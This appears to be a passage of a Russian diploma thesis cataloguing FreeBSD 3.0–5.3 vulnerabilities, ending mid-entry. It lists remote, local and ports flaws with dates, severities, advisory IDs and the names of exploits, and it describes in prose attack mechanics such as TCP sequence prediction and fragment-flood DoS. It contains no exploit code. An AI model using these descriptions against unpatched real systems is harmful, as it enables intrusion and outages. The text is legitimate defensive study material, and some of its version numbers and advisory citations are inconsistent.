Дипломная работа
Борисов Сергей
КБ-601

Исследование уязвимости линейки Операционной системы FreeBSD 3.0-5.3


Содержание

  1. Введение
  2. Определение цели дипломной работы
  3. Обзор уязвимостей FreeBSD
  4. Определение версии ОС и сервисов FreeBSD
  5. Методика тестирования защитных механизмов ОС FreeBSD и способы парирования угроз
  6. Практическое исследование уязвимостей ОС
  7. Рекомендации по настройке системы и её защитных механизмов для построения безопасносго сервера
  8. Заключение

Введение

FreeBSD - это мощная операционная система для компьютеров архитектур, совместимых с x86, AMD64, Alpha, IA-64, PC-98 и UltraSPARC®. Она основана на BSD, версии UNIX®, созданной в Калифорнийском Университете в Беркли. Она разрабатывается и поддерживается большой командой разработчиков.

Имеет выдающиеся возможности:
Исключительный набор сетевых возможностей, высокая производительность, средства обеспечения безопасности и совместимости с другими ОС - вот те современные возможности FreeBSD, которые зачастую всё ещё отсутствуют в других, даже лучших коммерческих, операционных системах.

Представляет мощное решение для Internet:
FreeBSD является идеальной платформой для построения Internet или Intranet. Эта система предоставляет надёжные даже при самой интенсивной нагрузке сетевые службы, и эффективное управление памятью, что позволяет обеспечивать приемлемое время отклика для сотен и даже тысяч одновременно работающих пользовательских задач.

Поддерживает огромное количество приложений
Качество FreeBSD вкупе с современным дешёвым и производительным аппаратным обеспечением ПК делают эту систему очень экономичной альтернативой коммерческим рабочим станциям UNIX®. Она прекрасно подходит для большого количества приложений как в качестве сервера, так и рабочей станции.

FreeBSD распространяется свободно
FreeBSD распространяется бесплатно и поставляется со всеми исходными текстами.

Бюллетени безопасности FreeBSD
Служба информационной безопасности FreeBSD выпускает бюллетени безопасности для нескольких разрабатываемых веток FreeBSD. Это Ветки -STABLE и Ветки Security. (Бюллетени не выпускаются для Ветки -CURRENT.)
Обычно здесь присутствует только одна ветка -STABLE
Каждому релизу FreeBSD поставлена в соответствие ветка безопасности (Security Branch). Метки веток безопасности именуются как RELENG_4_6. Соответствующие построенные версии носят названия типа FreeBSD 4.6-RELEASE-p7.
Каждая ветка поддерживается службой безопасности ограниченное время, обычно до 12 месяцев после релиза. Эти сроки в будущем могут быть увеличены, но только исключительные обстоятельства могут привести к отказу от поддержки ветки раньше указанной даты.

Ветка        Релиз         Дата выхода       Ожидаемое время жизни	
RELENG_4_8   4.8-RELEASE   Апрель 3, 2003    Март 31, 2005 
RELENG_4_10  4.10-RELEASE  Май 27, 2004      Май 31, 2006 
RELENG_4_11  4.11-RELEASE  Январь 25, 2005   Январь 31, 2007 
RELENG_5_3   5.3-RELEASE   Ноябрь 6, 2004    Октябрь 31, 2006 

Более старые релизы не поддерживаются.

Определение цели дипломной работы

Угроза - это потенциальная возможность определенным образом нарушить информационную безопасность.

Попытка реализации угрозы называется атакой, а тот, кто предпринимает такую попытку, - злоумышленником. Потенциальные злоумышленники называются источниками угрозы.

Чаще всего угроза является следствием наличия уязвимых мест в защите информационных систем (таких, например как ошибки в программном обеспечении).

Промежуток времени от момента, когда появляется возможность использовать слабое место, и до момента, когда пробел ликвидируется, называется окном опасности, ассоциированным с данным уязвимым местом. Пока существует окно опасности, возможны успешные атаки на ИС.

В силу конкретности моего исследования, буду рассматривать преднамеренные угрозы доступности, целостности и конфиденциальности нацеленные против операционной системы FreeBSD, сервисов представляемых этой ОС, а также данных хранящихся в рамках это ОС.

Цель данной курсовой работы состоит в исследовании угроз безопасности связанных с ОС FreeBSD, проверка их опасности и возможности их реализации. Разработать методику проверки системы на наличие в ней уязвимых мест. На основе этой информации будут предложены варианты парирования угрозам.

В первой части исследования рассмотрим уязвимые места ОС FreeBSD. Для каждого из них определим характер угроз и опасность возможной атаки.

Отдельно будем рассматривать угрозы с источником вне операционной системы - т.е. удаленные, локальные угрозы внутри рассматриваемой ОС (локальной атакой называется атака из командной оболочки ОС), а также угрозы направленные на сервисы и портированные приложения.

ОС FreeBSD отличает то, что большинство приложений написанных сторонними производителями переделываются специально под эту операционную систему. Таким образом, в приложениях (таких как Web, Ftp, Mail сервисы) имеет место эффект уменьшения уязвимых мест по сравнению с другими ОС *nix.

Во второй части мы рассмотрим разные методы определения версии ОС, как начального этапа при проверке системы на наличие уязвимостей. Так же определим способы защиты системы от точного определения версии ОС злоумышленником.

В третьей части рассмотрим основные защитные механизмы ОС FreeBSD, методы тестирования наличие в них уязвимых мест, а так же способы нейтрализовать эти уязвимости.

В четвертой части приведен пример использования методики тестирования реальной системы на наличие уязвимых мест, а также приведены рекомендации для парирования связанных с этим угроз.

В пятой части приведены рекомендации по конфигурации системы и её сервисов для построения защищенного сервера.

Обзор уязвимостей FreeBSD

Рассмотрим уязвимые места ОС FreeBSD. Для каждого из них определим характер угроз и опасность возможной атаки.
Отдельно будем рассматривать угрозы с источником вне операционной системы - т.е. удаленные, локальные угрозы внутри рассматриваемой ОС (локальной атакой называется атака из командной оболочки ОС), а также угрозы направленные на сервисы и портированные приложения.
Для каждого известного уязвимого места приводится дата и источник публикации; характер возможной угрозы (локальный или удаленный) а также степень его опасности; описание уязвимости, а также версии операционных систем подверженных этой уязвимости; приводится Интернет ссылка на оригинальный источник информации, а так же на локальный документ, в котором более подробно описана уязвимость и варианты её устранения.

Источникоми информации о уязвимостях системы FreeBSD, из которых собиралась информация для анализа были:
• Официальные бюлитени безопасности FreeBSD, в которых публикуется информация об уже исправленных уязвимостях www.freebsd.org/security/
• Buqtrack порталы – различные сайты на которых собирается частичная информация о всех известных уязвимостях. В дополнение к официальной информации тут можно найти: информацию об ещё не исправленных уязвимых местах; о слабых настройках по умолчанию в различных сервисах; о уязвимостях приложений созданных сторонними производителями.
• Различные Security и BSD-направленные форумы. Где встречаются небольшие недочеты в безопасности системы, а так-же информация об уязвимых местах в редко встречающихс сервисах.

Часть 1. Удаленные уязвимые места FreeBSD

  1. Серьезная DoS-уязвимость в FreeBSD 4.0 3.5
  2. Уязвимое место в FreeBSD 4.1 (IP Spoofing)
  3. Серьезная уязвимость в fingerd FreeBSD 4.1
  4. Уязвимое место в libc (getnameinfo) FreeBSD 4.2
  5. Уязвимое место в ppp nat в FreeBSD 4.1
  6. Уязвимое место в telnetd FreeBSD 4.1 3.5
  7. NAPTHA - DoS через открытые/полуоткрытые соединения FreeBSD 4.0
  8. Серьезные уязвмости в KTH Kerberos IV FreeBSD 4.2
  9. Уязвимое место в ipfw FreeBSD 4.2 3.5
  10. Уязвимое место в inetd FreeBSD 4.2 3.5 (wheel file fragment reading)
  11. DoS против timed и rwhod в FreeBSD 4.2 3.5
  12. Очень серьезная ошибка в FreeBSD 4.2 ftpd (glob expansion)
  13. Buffer overflow in FreeBSD 4.3 5.0 telnetd
  14. netkill - FIN_WAIT_1 DoS FreeBSD 4.3
  15. Некорректная обработка "me" в ipfw в FreeBSD 4.3
  16. Проблемы с tcp_wrappers в FreeBSD 4.3
  17. Переполнения буфера в демоне lpd FreeBSD 4.3
  18. Несанкционированный доступ через kerberos5 su в FreeBSD 4.4
  19. Уязвимость при обработке широковещательных IP TCP соединений в FreeBSD 5.0
  20. Проблемы с KAME IPSec в FreeBSD 4.5
  21. DoS против FreeBSD 4.5 syncache/syncookies
  22. Утечка памяти в Routing Table в FreeBSD 4.5
  23. DoS против FreeBSD 4.3 фргаментированными пакетами
  24. Удаленный отказ в acces фильтрах FreeBSD 4.5
  25. fingerprint изза Пропуска DF бита в FreeBSD 5.0
  26. Buffer overflow in DNS resolver in FreeBSD 4.6 and prior
  27. Sun RPC XDR decoder buffer overflow FreeBSD 4.6.1 and prior
  28. Удаленный DoS в NFS сервере в FreeBSD 4.6
  29. Buffer overrun in DNS resolver FreeBSD 4.7 adn prior
  30. multiple vulnerabilities in BIND protocol FreeBSD 4.4 - 4.7
  31. Brute force attack on SYN cookies FreeBSD 4.5-4.7 5.0
  32. OpenSSL timing-based SSL/TLS attack FreeBSD 4.7 5.0 and prior
  33. Realpath() FreeBSD 4.8 adn 5.0 buffer overflow
  34. Слабая конфигурация по умолчанию для InetD демона в FreeBSD 4.7
  35. DoS против FreeBSD 4.9 5.1 arp
  36. OpenSSH buffer management error FreeBSD 4.0-4.8-5.2
  37. Уязвимые места в ISAKMPd KAME Racoon - FreeBSD 4.9
  38. Удаленный DoS против FreeBSD 4.9 5.2

Часть 2. Локальные уязвимые места FreeBSD

  1. Уязвимое место ncurses под FreeBSD 3.0
  2. Локальный DoS в FreeBSD 3.3
  3. Локальная DoS FreeBSD 3.4 4.0 5.0
  4. Уязвимое место в libedit FreeBSD 3.5 4.0 5.0
  5. Уязвимое место в утилитах chpass FreeBSD 3.5 4.0
  6. Уязвимое место в periodic FreeBSD 4.1
  7. Несколько уязвимых мест в crontab FreeBSD 3.5 4.0-4.1
  8. Уязвимое место в linux-подсистеме FreeBSD 3.5-4.1-5.0
  9. DoS в FreeBSD 3.5 4.1 5.0 ELF-Файлы
  10. Серьезная уязвимость в ncurses FreeBSD 3.5 4.1 5.0
  11. Уязвимое место в catopen (libc) FreeBSD 3.5 - 4.1 - 5.0
  12. Ошибка форматной строки утилиты top в FreeBSD 3.5 4.1
  13. Уязвимое место в sort FreeBSD 3.5 - 4.2
  14. Уязвимое место в ufs ext2fs FreeBSD 3.5 4.2
  15. Уязвимое место в procfs в FreeBSD 3.5 4.2
  16. Некоректные павила rmuser в FreeBSD 4.3
  17. Неправомочный доступ в procfs в FreeBSD до 4.3
  18. Проблемы с обработчиками сигналов в FreeBSD 4.3
  19. Локальное повышение полномочий до root для FreeBSD 4.3
  20. Уязвимое место в fts из libc FreeBSD 4.3
  21. Уязвимое место в clean-tmps в FreeBSD 4.3
  22. Ошибка операции exec() ядра FreeBSD 4.4
  23. Уязвимое место в AIO FreeBSD 4.2-4.4
  24. Уязвимые места Kerberos 5 в FreeBSD 4.4
  25. Уязвимость в fstatfs ядра FreeBSD 4.4
  26. уязвимое место в OPEN SSH для FreeBSD до 4.4
  27. Опасность в stdio в ядре FreeBSD 4.x - 4.5
  28. Уязвимость маскировки процессов в FreeBSD 4.3-4.5
  29. Несколько уязвимых мест в Bzip2 для FreeBSD 4.4-4.5
  30. Уязвимое место k5su в FreeBSD 4.4-4.5
  31. FreeBSD 4.4 - 4.5 rc script file deletion
  32. Возможен неавторизованный доступ к файлам FreeBSD 4.5 5.0
  33. Уязвимость double free() в zlib FreeBSD 4.5
  34. Уязвимости файловой системы FFS в FreeBSD 4.6
  35. Утечка информации в ktrace FreeBSD 4.6
  36. Переполнение буфера системных вызовов в FreeBSD 4.0-4.6
  37. Уязвимое место в pppd FreeBSD 4.3-4.6
  38. DoS ядра FreeBsd изза kqueue FreeBSD 4.3-4.6
  39. Уязвимое место libkvm файловых дескрипторов FreeBSD 4.2 - 4.6
  40. Уяязвимое место в smrsh sendmail freebsd 4.3 - 4.7
  41. Переполнение буфера в fpathconf ядра freebsd 4.3-4.7 и 5.0
  42. dos в FreeBSD 5.1 execve
  43. Переполнение буфера в FreeBSD 4.3-4.8 в readv
  44. Уязвимость при проверке сигналов FreeBSD 4.3-4.8 5.1
  45. Раскрытие части памяти в kernel ibcs2 FreeBSD 4.3 - 4.8 5.1
  46. FreeBSD 5.0-5.2 smat privilege escalation
  47. DoS в FreeBSD 5.2
  48. Переполнение буфера в procfs FreeBSD 4.3-4.8 5.2
  49. Уязвимое место в Jail FreeBSD ядре 5.1-5.2
  50. Переполнение буфера FreeBSD shmat 4.7-4.9 5.2
  51. Уязвимость Jail в FreeBSD 4.1-4.10
  52. Возможна блокировка изменений в файлах в FreeBSD 4.10, 5.2
  53. Уязвимое место в FreeBSD syscons 5.x
  54. Уязвимое место в FreeBSD ядре 4.x и 5.x в Linux binary
  55. Раскрытие содержания памяти ядра в FreeBSD x.x procfs/linprocfs

Часть 3. уязвимые места в портах(ports) FreeBSD

  1. WuFTPD remote root FreeBSd 3.4 4.0 5.0
  2. Переполнение буфера в mutt ports FreeBSD 4.4
  3. Обход аутентификации в mod_auth_pgsql FreeBSD 4.4
  4. Удаленное выполнение кода в rsync FreeBSD 4.4
  5. Уязвимость в ucd-snmp/net-snmp FreeBSd 4.4
  6. Множественные уязвимости в squid в FreeBSD 4.5
  7. Обход идентификации в pam-pgsql FreeBSD 4.4
  8. Уязвимость форматной строки в cyrus-sasl FreeBSD 4.5
  9. Уязвимость в sudo-1.6.4.1 и все более ранние
  10. Переполнение буфера в squid при обработке DNS запросов FreeBSD 4.5
  11. Сервис openssh имеет удаленно уязвимое место в FreeBSD 4.5 и предыдущих
  12. Buffer Overflow in Samba allows remote root Samba 2.2.8
  13. Sendmail header parsing buffer overflow FreeBSD 4.8
  14. sendmail DNS map FreeBSD 4.6 4.8
  15. remotely exploitable vulnerability in cvs server FreeBSD 4.7 5.0
  16. Переполнение буфера в upclient в FreeBSD 4.8
  17. OpenSSL vulnerabilities in ASN.1 parsing FreeBSD 4.8 5.1
  18. Bind8 negative cache poison attack FreeBSD 4.9 5.1
  19. Denial-of-service vulnerability in OpenSSL FreeBSD 4.9 5.2
  20. Уязвимое место в CVS in FreeBSD 4.10 5.2
  21. Heimdal kadmind remote heap buffer overflow FreeBSD 4.9 5.1
  22. Courier-IMAP Remote Format String Vulnerability FreeBSD 4.10

Удаленные уязвимые места FreeBSD


Серьезная DoS-уязвимость в FreeBSD 4.0 3.4

Опубликованно: 10.05.2000
Источник: BUGTRAQ
Тип: remote
Опасность: 7
Описание: : IP-пакет с некорректным смещением параметров IP (например timestamp) вызывает аварийную остановку системы.
Затронутые продукты: FreeBSD 3.4 FreeBSD 4.0 FreeBSD 5.0
Оригинал: FreeBSD-SA-00:23.ip-options
Exploit: *BSD ip option DoS
Приложение 30

Уязвимое место в FreeBSD 4.1 (IP Spoofing)

Опубликованно: 06.10.2000
Источник: BUGTRAQ
Тип: remote
Опасность: 7
Описание: Алгоритм генерации псевдо-случайной последовательности позволяет по трем пакетам определить состояние генератора псевдо-случайно последовательности используемого при задании номеров последовательностей и воспроизвести его на удаленной машине, что позволяет перезватить любое TCP-соединение.
Затронутые продукты: FreeBSD 3.5 FreeBSD 4.0-4.2 FreeBSD 5.0
Оригинал: HERT advisory: FreeBSD IP Spoofing
FreeBSD-SA-01:39.tcp-isn.asc
Приложение 24 + Exploit

Серьезная уязвимость в fingerd FreeBSD 4.1

Опубликованно: 13.10.2000
Источник: Buqtrack
Тип: remote
Опасность: 8
Описание: fingerd позволяет обратиться к любому файлу с правами пользователя nobody.
Затронутые продукты: FreeBSD 4.1 и ранние
Оригинал: Przemyslaw Frasunek, enabling fingerd makes files world readable
FreeBSD-SA-04:17.procfs
Приложение 102

Уязвимое место в libc (getnameinfo) FreeBSD 4.2

Опубликованно: 02.11.2000
Источник: FREEBSD
Тип: remote
Опасность: 5
Описание: Длинное имя хоста вызывает переполнение буфера в функции getnameinfo(), в отдельных случаях может быть использовано для DoS против сервера.
Затронутые продукты: FreeBSD 4.2 4.1
Оригинал: FreeBSD-SA-00:63.getnameinfo.asc
Приложение 27

Серьезные уязвмости в KTH Kerberos IV FreeBSD 4.2

Опубликованно: 10.12.2000
Источник: BUGTRAQ
Тип: remote
Опасность: 9
Описание: Пользователь может указать krb4_proxy для перенаправления запроса на авторизацию собственному прокси-серверу. В сочетании с переполнением буфера это дает возможность удаленного root-доступа. Локальный пользователь может указать собственные конфигурационные файлы, которые будут использованы для авторизации. Это дает возможность локально получить root-доступ.
Затронутые продукты: FreeBSD 3.5 FreeBSD 4.2
Оригинал: Vulnerabilities in KTH Kerberos IV
FreeBSD-SA-01:25.kerberosIV
Приложение 29

Уязвимое место в ppp nat в FreeBSD 4.1

Опубликованно: 15.11.2000
Источник: FreeBSD
Тип: remote
Опасность: 5
Описание: команда nat deny_incoming не работает с нестандартными типами протоколов (например IPSec).
Затронутые продукты: FreeBSD 3.5 FreeBSD 4.1
Оригинал: FreeBSD-SA-00:70.ppp-nat
Приложение 28

Уязвимое место в telnetd FreeBSD 4.1 3.5

Опубликованно: 15.11.2000
Источник: FREEBSD
Тип: remote
Опасность: 4
Описание: : telnetd Не проверяет значение пользовательских переменных, что ползволяет например, указать переменной TERMCAP На файл принадлежащий другому пользователю. Указав на большой файл можно вызвать DoS против системы.
Затронутые продукты: FreeBSD 4.1 FreeBSD 3.5
Оригинал: FreeBSD-SA-00:69.telnetd
Приложение 31

DoS через открытые/полуоткрытые соединения FreeBSD 4.0

Опубликованно: 05.12.2000
Источник: buqtrack
Тип: remote
Опасность: 6
Описание: Различные сервисы в разных ОС перестают обслуждивать пользователей если установлено более определенного числа TCP-соединений.
Затронутые продукты: FreeBSD 4.0
Оригинал: Modified version of the IP stack penetration tool
NAPTHA Advisory Updated
S.I.N.N. is a research DoS tool
Приложение 14

Уязвимое место в ipfw FreeBSD 4.2 3.5

Опубликованно: 24.01.2001
Источник: FREEBSD
Тип: remote
Опасность: 5
Описание: Правило established не срабатывает на пакетах, где вместе с SYN установлен флаг ECE.
Затронутые продукты: FreeBSD 4.2 FreeBSD 3.5
Оригинал: FreeBSD-SA-01:08.ipfw
Exploit: ecepass - proof of concept code for FreeBSD ipfw bypass
Приложение 26

Дырка в inetd FreeBSD 4.2 3.5 (wheel file fragment reading)

Опубликованно: 30.01.2001
Источник: FREEBSD
Тип: remote
Опасность: 6
Описание: Удаленно можно прочитать первые 16 символов (кроме пробелов) любого файла к которому имеет доступ группа wheel.
Затронутые продукты: FreeBSD 3.5 FreeBSD 4.2
Оригинал: FreeBSD-SA-01:11.inetd
Приложение 25

Очень серьезная ошибка в FreeBSD 4.2 ftpd (glob expansion)

Опубликованно: 10.04.2001
Источник: BUGTRAQ
Тип: remote
Опасность: 10
Описание: Переполнение буфера при работе с функцией glob() - при разборе пути запрошенного файла.
Затронутые продукты: FreeBSD 4.2
Оригинал: Globbing Vulnerabilities in Multiple FTP
OpenBSD/FreeBSD ftpd/glob exploit (breaks chroot)
Приложение 1

DoS против timed и rwhod в FreeBSD 4.2 3.5

Опубликованно: 13.03.2001
Источник: FREEBSD
Тип: remote
Опасность: 5
Описание: Некорректные пакеты приводят к краху сервиса.
Затронутые продукты: FreeBSD 3.5 4.2
Оригинал: FreeBSD-SA-01:29.rwhod.asc
FreeBSD-SA-01:28.timed.asc
Приложение 10

Buffer overflow in FreeBSD 4.3 5.0 telnetd

Опубликованно: 19.07.2001
Источник: BUGTRAQ
Тип: remote
Опасность: 10
Описание: It's possible to overflow buffer with AYT telnet protocol command.
Затронутые продукты: FreeBSD 5.0 FreeBSD 4.3
Оригинал: Sebastian, multiple vendor telnet daemon vulnerability
Zenith Parsec, ADV/EXP: netkit <=0.17 in.telnetd remote buffer overflow
Exploit: telnetd exploit code
Telnetd AYT overflow scanner, by Security Point(R)
Приложение 4

netkill - FIN_WAIT_1 DoS FreeBSD 4.3

Опубликованно: 25.07.2001
Источник: BUGTRAQ
Тип: remote
Опасность: 5
Описание: Устанавливаются многочисленные TCP-соединения, в которых после 1го ACK-пакета содержащего запрос к серверу перестают подтверждаться TCP-пакеты. Это приводит к подвисанию соединений (в случе HTTP - в фазе FIN_WAIT_1, в других случаях - в Established.
Затронутые продукты: FreeBSD 4.3
Оригинал: stanislav shalunov, netkill - generic remote DoS attack
Exploit: netkill code
Приложение 15

Некорректная обработка "me" в ipfw в FreeBSD 4.3

Опубликованно: 17.08.2001
Источник: FREEBSD
Тип: remote
Опасность: 5
Описание: При использовании адреса одного из концов ppp-интерфейса пакет может обойти правило в котором используется 'me'.
Затронутые продукты: FreeBSD 4.3
Оригинал: FreeBSD-SA-01:53.ipfw
Приложение 18

Проблемы с tcp_wrappers в FreeBSD 4.3

Опубликованно: 24.08.2001
Источник: FREEBSD
Тип: remote
Опасность: 5
Описание: Режим PARANOID hostname chacking не работает так, как заявлено.
Затронутые продукты: FreeBSD 4.3 и предыдущие
Оригинал: FreeBSD-SA-01:56.tcp_wrappers.asc
Приложение 22

Переполнения буфера в демоне lpd FreeBSD 4.3

Опубликованно: 30.08.2001
Источник: X-FORCE
Тип: remote
Опасность: 8
Описание: Переполнение буфера позволяет выполнять код с привилегиями lpd. Кроме того, можно овладеть любым файлом, к которому имеет доступ lpd
Затронутые продукты: FreeBSD 4.3 и предыдущие
Оригинал: X-FORCE, ISSalert: ISS Advisory: Remote Buffer Overflow Vulnerability in BSD Line Printer Daemon
Приложение 5

DoS против FreeBSD 4.3 фргаментированными пакетами

Опубликованно: 30.05.2001
Источник: BUGTRAQ
Тип: remote
Опасность: 5
Описание: Большое количество фрагментированных пакетов приводит к отказу сервера.

Фрагменты IP пакетов адресованных системе сохраняются в памяти на 30 секунд, что позволяет собирать их в один. Так как в системе по умолчанию нет ограничений на количество сохраненных в памяти фрагментов, злоумышленник мог отправить за это время большое количество пакет и занять весь сетевой стек mbuf. Для решения этой проблемы был введен параметр
net.inet.ip.maxfragpackets
задаваемый через sysctl.

Затронутые продукты: FreeBSD 4.3
Оригинал: FreeBSD-SA-01:52.fragment.asc
Приложение 9

Несанкционированный доступ через kerberos5 su в FreeBSD 4.4

Опубликованно: 29.01.2002
Источник: BUGTRAQ
Тип: remote
Опасность: 7
Описание: При логине root не требуется пароль
Kerberos 5 имеет свою версию 'su', утилиты которая может быть использована для смены пользователя не выходя из сеанса. Эта утилита 'k5su'.
K5su использует функцию getlogin() для получения имени пользователя. Если возвращаемое имя - 'root', функция полагает что программа была запущена суперпользователем и не спрашивает пароля. Но при определенных обстаятельствах пользователи могут получить имя 'root' от функции getlogin(). Это случается если их имя временно установлено как 'root', или если процесс уменьшил привелегии, но не поменял имя пользователя через setlogin().
Затронутые продукты: FreeBSD 4.4 и предыдущие
Оригинал: Kerberos 5 su Privilege Escalation Vulnerability
Приложение 23

Проблемы с KAME IPSec в FreeBSD 4.5

Опубликованно: 05.03.2002
Источник: BUGTRAQ
Тип: remote
Опасность: 5
Описание: Не проверяется политика для передаваемых пакетов в режиме туннелирования.
Затронутые продукты: FreeBSD 4.5
Оригинал: forwarding doesn't consult inbound SPD in KAME-derived IPsec
Приложение 43

Уязвимость при обработке широковещательных IP TCP соединений в FreeBSD 5.0

Опубликованно: 19.03.2002
Источник: BUGTRAQ
Тип: remote
Опасность: 5
Описание: Принимаются широковещательные пакеты TCP SYN.
В системе не реализованы рекомендации RFC 1122, о том что система должна отбрасывать входящие SYN фрагменты пакетов направленные на широковещательные адреса (broadcast, multicast).
Affected products: FreeBSD 5.0
Original text: Crist J. Clark, TCP Connections to a Broadcast Address on BSD-Based
Приложение 1

DoS против FreeBSD 4.5 syncache/syncookies

Опубликованно: 16.04.2002
Источник: FreeBSD
Тип: remote
Опасность: 5
Описание: 1. Когда SYN был принят через syncookie, он использует неинициализированный указатель для поиска TCP опции для нового сокета. Этот указатель может быть пустым указателем, который приведет к краху системы.
2. Syncache вход создается, когда SYN прибывает в слушающийся сокет. Если приложение, которое создавало сокет, было убито и перезапущено, то оно заново создает слушающийся сокет с другим inpcb, тогда последующий ACK (или дубликат SYN) будет соответствовать старому inpcb указателю. В зависимости от содержания указателя, уязвимость может приводить к краху системы.
Затронутые продукты: FreeBSD 4.5
Оригинал: FreeBSD-SA-02:20.syncache.asc
Приложение 7

Утечка памяти в Routing Table в FreeBSD 4.5

Опубликованно: 17.04.2002
Источник: FreeBSD
Тип: remote
Опасность: 5
Описание: При определенных обстоятельствах система FreeBSD может потерпеть крах. Когда ICMP ECHO ответ послан уязвимой системе, число количества хостов с текущими соединениями через такой маршрут никогда не уменьшится после прекращения ICMP трафика. Память, распределенная для таблицы маршрутизации, никогда не будет освобождена. В результате может происходить исчерпание доступной памяти.
Затронутые продукты: FreeBSD 4.4-4.5
Оригинал: FreeBSD-SA-02:21
Приложение 36

Удаленный отказ в acces фильтрах FreeBSD 4.5

Опубликованно: 29.05.2002
Источник: FreeBSD
Тип: remote
Опасность: 6
Описание: По сообщениям, можно добится отказа в обслуживании службе, если используются фильтры ввода (accept_filter) FreeBSD . Это происходит из-за ошибки в выполнении этих фильтров. Можно заполнить очередь подключения, посылая повторные 'неполные' запросы (например, частичные HTTP запросы). Пока время подключения не истекло, другие клиенты не смогут обращаться к службе.
Затронутые продукты: FreeBSD 4.5
Оригинал: FreeBSD-SA-02:26.accept.asc
Приложение 6

fingerprint изза Пропуска DF бита в FreeBSD 5.0

Опубликованно: 10.06.2002
Источник: BUGTRAQ
Тип: remote
Опасность: 3
Описание: В RFC 1191 определено понятие Path MTU Discovery, которое может использоваться для определения максимального MTU для IP подключения. На практике, когда PMTUD используется в связке с TCP, три начальных стадии установления подключения выполнены с установленным DF (Don't Fragment) битом во всех пакетах. По сообщениям, некоторые версии BSD, не устанавливают DF бит на ACK пакетах. Это позволяет злонамеренной удаленной стороне дактилоскопировать(fingerprint) операционную систему уязвимого сервера, инициализируя подключение и просматривая зафиксированный сетевой трафик.
Затронутые продукты: FreeBSD 5.0 и возможно в предыдущих версиях
Оригинал: Path MTU Discovery and missing DF bit
Приложение 11

Переполнение буфера в DNS FreeBSD 4.6 и предыдущих

Опубликованно: 26.06.2002
Источник: FreeBSD
Тип: remote
Опасность: 6
Описание: Злоумышленник может составить специальное DNS сообщение которое использует уязвимое место в приложениях использующих resolver и выполнить произвольный код с правами приложения.
Затронутые продукты: FreeBSD 4.6 и все предыдущие релизы
Оригинал: FreeBSD-SA-02:28.resolv
Приложение 2

Удаленный DoS в NFS сервере в FreeBSD 4.6

Опубликованно: 7.08.2002
Источник: FreeBSD
Тип: удаленная
Опасность: 5
Описание: Network File System (NFS) позволяет хосту экспортировать файловую систему или ее часть, так, чтобы другие хосты могли обратиться к ним по сети и установить их, как будто они были на местных дисках. NFS использует структуру Sun Remote Procedure Call (RPC).
Часть кода NFS сервера, который обрабатывает входящие RPC сообщения, содержит ошибку, которая при получении сервером сообщения с нулевой длиной, может привести к созданию ссылки на предыдущее сообщение с образованием петли в цепочке сообщений. Это может привести к бесконечной петли в кода NFS сервера, при попытке пересечь такую цепочку.
Некоторые версии Linux могут производить нулевые RPC сообщения в некоторых случаях. Система FreeBSD с NFS сервером может заблокироваться при попытке соединиться с таким клиентом. Также атакующий может сам создавать пустые RCP сообщения, что может привести к блокировки уязвимой FreeBsd системы.

Затронутые продукты: FreeBSd 4.6 и предыдущие
Оригинал: FreeBSD-SA-02:36.nfs
Приложение 34

Переполнение буфера в декодере Sun RPC XDR в FreeBSD 4.6.1 и более ранних

Опубликованно: 01.08.2002
Источник: FreeBSD
Тип: библиотека
Опасность: 5
Описание: Любое приложение использующее Sun RPC может быть уязвимо для переполнения буфера. В зависимости от приложения это уязвимое место может использоваться для выполнения произвольного кода. Многие сервисы основанные на RPC запускаются от имени суперпользователя (такие как NFS, NIS сервер, rpc.statd и другие) и поэтому данная уязвимость должна считатся повышенной опасности. Хотя по умолчанию в FreeBSD нет включенных по умолчанию rpc сервисов.
Затронутые продукты: FreeBSD 4.6.1 и все предыдущие
Оригинал: FreeBSD-SA-02:34.rpc.asc
Приложение 20

Переполнение буфера в DNS resolver в FreeBSD 4.7 и предыдущих

Опубликованно: 12.11.2002
Источник: FreeBSD
Тип: remote
Опасность: 5
Описание: Злоумышленник , на DNS запрос, может отправить поддельный специально сконструированный ответ который не поместится в буффер. Из-за этого у некоторых сервисов может произойти отказ в обслуживании. Затронутые продукты:
Оригинал: FreeBSD-SA-02:42.resolv.asc
Приложение 19

Множество уязвимых мест в протоколе BIND FreeBSD 4.4 - 4.7

Опубликованно: 15.11.2002
Источник: FreeBSD
Тип: remote
Опасность: 7
Описание: Уязвимость переполнения BIND SIG Cached RR. Удаленный атакующий может заставить DNS сервер с включенной рекурсией выполнить произвольный код с привелегиями процесса сервиса имен.
Отказ в обслуживании в BIND OPT и BIND SIG Expiry Time. Удаленный злоумышленик может вывести из строя DNS сервис.
Затронутые продукты: FreeBSD 4.7 и все предыдущие
Оригинал: FreeBSD-SA-02:43.bind.asc
Приложение 13

Уязвимое место в механизме SYN cookies в FreeBSD 4.5-4.7 5.0

Опубликованно: 24.02.2003
Источник: FreeBSD
Тип: remote
Опасность: 7
Описание: Как только установленны syncookie, атакующий может сконструировать правильный ISN номер до того как сменится ключ (до 4 секунд), Возможность создать верный ISN можеть использоваться для подделки TCP соединения - точно таким же способом который использовался в методе предсказания ISN номеров. Подделка пакетов позволит атакующему обойти списки доступа основанные на IP-адресах (использзуемые в TCP-wrappers и многих фаирволах).
Затронутые продукты: FreeBSD 4.5 - 4.7 FreeBSD 5.0
Оригинал: FreeBSD-SA-03:03: syncookies
Приложение 21

OpenSSL timing-based SSL/TLS attack FreeBSD 4.7 5.0 и предыдущие

Опубликованно: 25.02.2003
Источник: FreeBSD
Тип: remote
Опасность: 5
Описание: Злоумышленник имеющий достаточные права (для внедрения между клиентом и сервером) может перехватить исходные данные из шифрованных потоков (in TLS/SSL using block ciphers in CBC mode).
Затронутые продукты:
Оригинал: FreeBSD-SA-03:02: openssl
Приложение 17

Realpath() FreeBSD 4.8 adn 5.0 buffer overflow

Опубликованно: 05.08.2003
Источник: BUGTRAQ
Тип: library
Опасность: 8
Описание: переполнение в функции fb_realpath() при задании длинных путей в некоторых FTP коммандах.
Затронутые продукты: FreeBSD 4.2-4.8, FreeBSD 5.0
Оригинал: Single byte buffer overflow in realpath(3)
Exploit: Off-by-One Error in realpath() lukemftpd
Приложение 3

Слабая конфигурация по умолчанию для InetD демона в FreeBSD 4.8

Опубликованно: 07.09.2003
Источник: BUGTRAQ
Тип: удаленная
Опасность: 6
Описание: Уязвимость обнаружена в Internet Services Daemon. В конфигурации по умолчанию на большинстве FreeBSD/linux инсталляций, удаленный пользователь может завесить работу службы, используя уязвимость, обнаруженную более 11 лет назад.
InetD использует опцию:
-R rate
Которая определяет максимальное число подключений с одного хоста в течение минуты. Значение по умолчанию - 256. Значение 0 означает, что число подключений неограниченно.
